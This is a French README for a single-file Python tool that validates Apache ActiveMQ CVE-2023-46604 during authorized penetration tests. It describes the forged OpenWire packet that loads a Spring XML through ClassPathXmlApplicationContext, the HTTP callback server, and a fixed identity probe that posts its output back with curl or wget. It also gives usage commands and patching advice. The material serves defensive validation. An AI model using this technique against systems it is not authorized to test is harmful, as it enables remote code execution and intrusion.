
Validateur non destructif pour Apache ActiveMQ CVE-2023-46604. Envoie des paquets OpenWire spécialement conçus, utilise un serveur de rappel HTTP pour confirmer l'exécution de code à distance (RCE) ou le chargement XML, et génère des preuves CSV/JSON pour les tests d'intrusion autorisés.
Un validateur non destructif, en un seul fichier, pour Apache ActiveMQ CVE-2023-46604. Il démarre son propre serveur de rappel HTTP, génère en mémoire un XML Spring spécifique à la cible, envoie le paquet OpenWire forgé, corrèle les rappels avec des jetons uniques et écrit des preuves CSV/JSON.
Le projet est conçu pour les tests d'intrusion autorisés et la validation de flottes. Il n'implémente délibérément pas de shells inversés, d'exécution de commandes sans restriction, d'expansion CIDR, de persistance ou de préparation de charges utiles.
Deux modes de preuve fixes sont disponibles :
rce exécute une sonde d'identité fixe en lecture seule et renvoie sa sortie au serveur HTTP intégré. Un rappel confirme l'exécution de commandes du système d'exploitation dans le contexte du service ActiveMQ.xml sert un contexte Spring vide. Une récupération confirme que le message OpenWire forgé a amené la cible à instancier ClassPathXmlApplicationContext et à récupérer un XML contrôlé par l'attaquant, sans démarrer de processus.Aucun fichier XML ne doit être créé ou hébergé séparément.
--fail-on-vuln adapté à l'intégration continueLe port OpenWire par défaut est 61616, mais les ports non standard sont pris en charge.
Utilisez des adresses à titre de documentation uniquement dans les exemples ; remplacez-les par vos actifs autorisés.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Le script démarre automatiquement le serveur de rappel sur TCP/8000, sert le XML généré, envoie le paquet OpenWire, attend les preuves, affiche un tableau de résultats et écrit :
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Créez targets.txt :
# Un hôte explicitement autorisé par ligne
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Exécutez :
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Les fichiers de cibles peuvent contenir des lignes vides et des commentaires commençant par #. L'expansion CIDR n'est volontairement pas prise en charge ; énumérez explicitement l'inventaire autorisé.
Pour les réseaux routés simples, omettez --callback-host :
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
L'outil sélectionne l'adresse source locale utilisée pour router vers la première cible. Spécifiez --callback-host lors des tests via NAT, VPN, conteneurs, hôtes de rebond ou systèmes multi-hôtes.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
La sonde Windows utilise une commande PowerShell fixe et non interactive pour renvoyer l'identité du service, le nom de l'ordinateur et la version du système d'exploitation. Elle ne fournit pas de shell interactif.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Ce mode n'instancie pas ProcessBuilder.
Utilisez une cible ssl:// :
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Pour un écouteur interne avec un certificat non approuvé :
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify n'affecte que la connexion TLS OpenWire. Le serveur de rappel est en HTTP.
| Statut | Signification |
|---|---|
CONFIRMED_VULNERABLE_RCE | La cible a récupéré son XML et la commande d'identité fixe a renvoyé des preuves. |
CONFIRMED_VULNERABLE_XML_LOAD | En mode xml, la cible a récupéré le document XML unique. |
VULNERABLE_XML_LOAD_ONLY | En mode rce, la récupération XML a eu lieu mais le rappel de commande n'a pas eu lieu. Le chemin d'instanciation de classe vulnérable est confirmé ; les outils de rappel, la sortie réseau ou l'exécution de processus peuvent être restreints. |
NOT_CONFIRMED | Le paquet a été envoyé, mais aucune preuve HTTP corrélée n'est arrivée avant l'échéance. Ce n'est pas une preuve que l'hôte est corrigé. |
UNREACHABLE | La connexion TCP/TLS ou l'envoi du paquet a échoué. |
Un courtier corrigé, un port incorrect, un filtrage de sortie, des problèmes de routage, une incompatibilité TLS et des contrôles de point de terminaison peuvent tous affecter la validation par rappel. Conservez les horodatages CSV/JSON et la sortie de rappel comme preuves de rapport.
La sonde d'identité Linux renvoie une sortie similaire à :
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Elle essaie curl, wget et BusyBox wget pour le POST HTTP. Si le XML est récupéré mais qu'aucun de ces clients n'est disponible, le résultat est VULNERABLE_XML_LOAD_ONLY plutôt qu'un faux négatif.
0 : validation terminée, ou des vulnérabilités ont été trouvées sans --fail-on-vuln2 : au moins un résultat vulnérable a été trouvé et --fail-on-vuln a été fourniExemple d'utilisation en CI :
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 affecte le démarshallement OpenWire Java. Le validateur envoie une ExceptionResponse OpenWire à marshalling lâche dont la classe d'exception est :
org.springframework.context.support.ClassPathXmlApplicationContext
Le message d'exception est l'URL unique du XML Spring généré. Le code ActiveMQ vulnérable instancie la classe sélectionnée par l'attaquant avec cette URL. En mode rce, le contexte Spring démarre une sonde ProcessBuilder fixe ; en mode xml, le contexte est vide.
Chaque cible reçoit un jeton différent, par exemple :
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Cela permet d'attribuer les rappels simultanés à la bonne cible.
--authorized Accusé de réception d'autorisation requis
-t, --target VALUE Cible explicite ; répétable
-T, --targets-file FILE Une cible explicite par ligne ; répétable
--default-port PORT Défaut 61616
--tls Utiliser TLS pour toutes les cibles
--tls-no-verify Désactiver la validation du certificat TLS OpenWire
--callback-host HOST Adresse utilisée par les cibles pour les rappels HTTP
--bind-host HOST Adresse de liaison HTTP locale ; défaut 0.0.0.0
--http-port PORT Port HTTP local ; défaut 8000 ; 0 sélectionne un port libre
--proof rce|xml Mode de preuve fixe ; défaut rce
--platform linux|windows Système d'exploitation cible pour le mode RCE ; défaut linux
--workers N Travailleurs parallèles ; maximum 32
--connect-timeout SECONDS Délai d'expiration TCP/TLS
--wait SECONDS Fenêtre de collecte des rappels
--retries N Une à trois tentatives d'envoi de paquets
--retry-delay SECONDS Délai entre les tentatives
-o, --output FILE Destination des preuves CSV
--json-output FILE Destination JSON facultative
--verbose Afficher les journaux de requêtes HTTP
--fail-on-vuln Sortie 2 lorsqu'un résultat vulnérable est trouvé
python3 -m unittest discover -s tests -v
Les tests vérifient l'analyse des cibles, le rejet CIDR, la bonne formation du XML et la structure des trames OpenWire sans contacter aucune cible.
Mettez à niveau ActiveMQ vers une version corrigée et actuellement prise en charge. L'avis Apache a identifié les versions corrigées pour les branches alors actuelles comme ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 et 6.0.0, et Artemis 2.31.2. Restreignez également les écouteurs OpenWire aux clients de confiance et surveillez toute récupération XML sortante inattendue.
Ce dépôt est destiné à la validation défensive et aux évaluations de sécurité autorisées. Il omet volontairement :
--commandLa sonde d'identité fixe suffit à démontrer l'exécution de commandes à distance et l'impact sur le compte de service sans établir d'accès interactif.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. Voir LICENSE.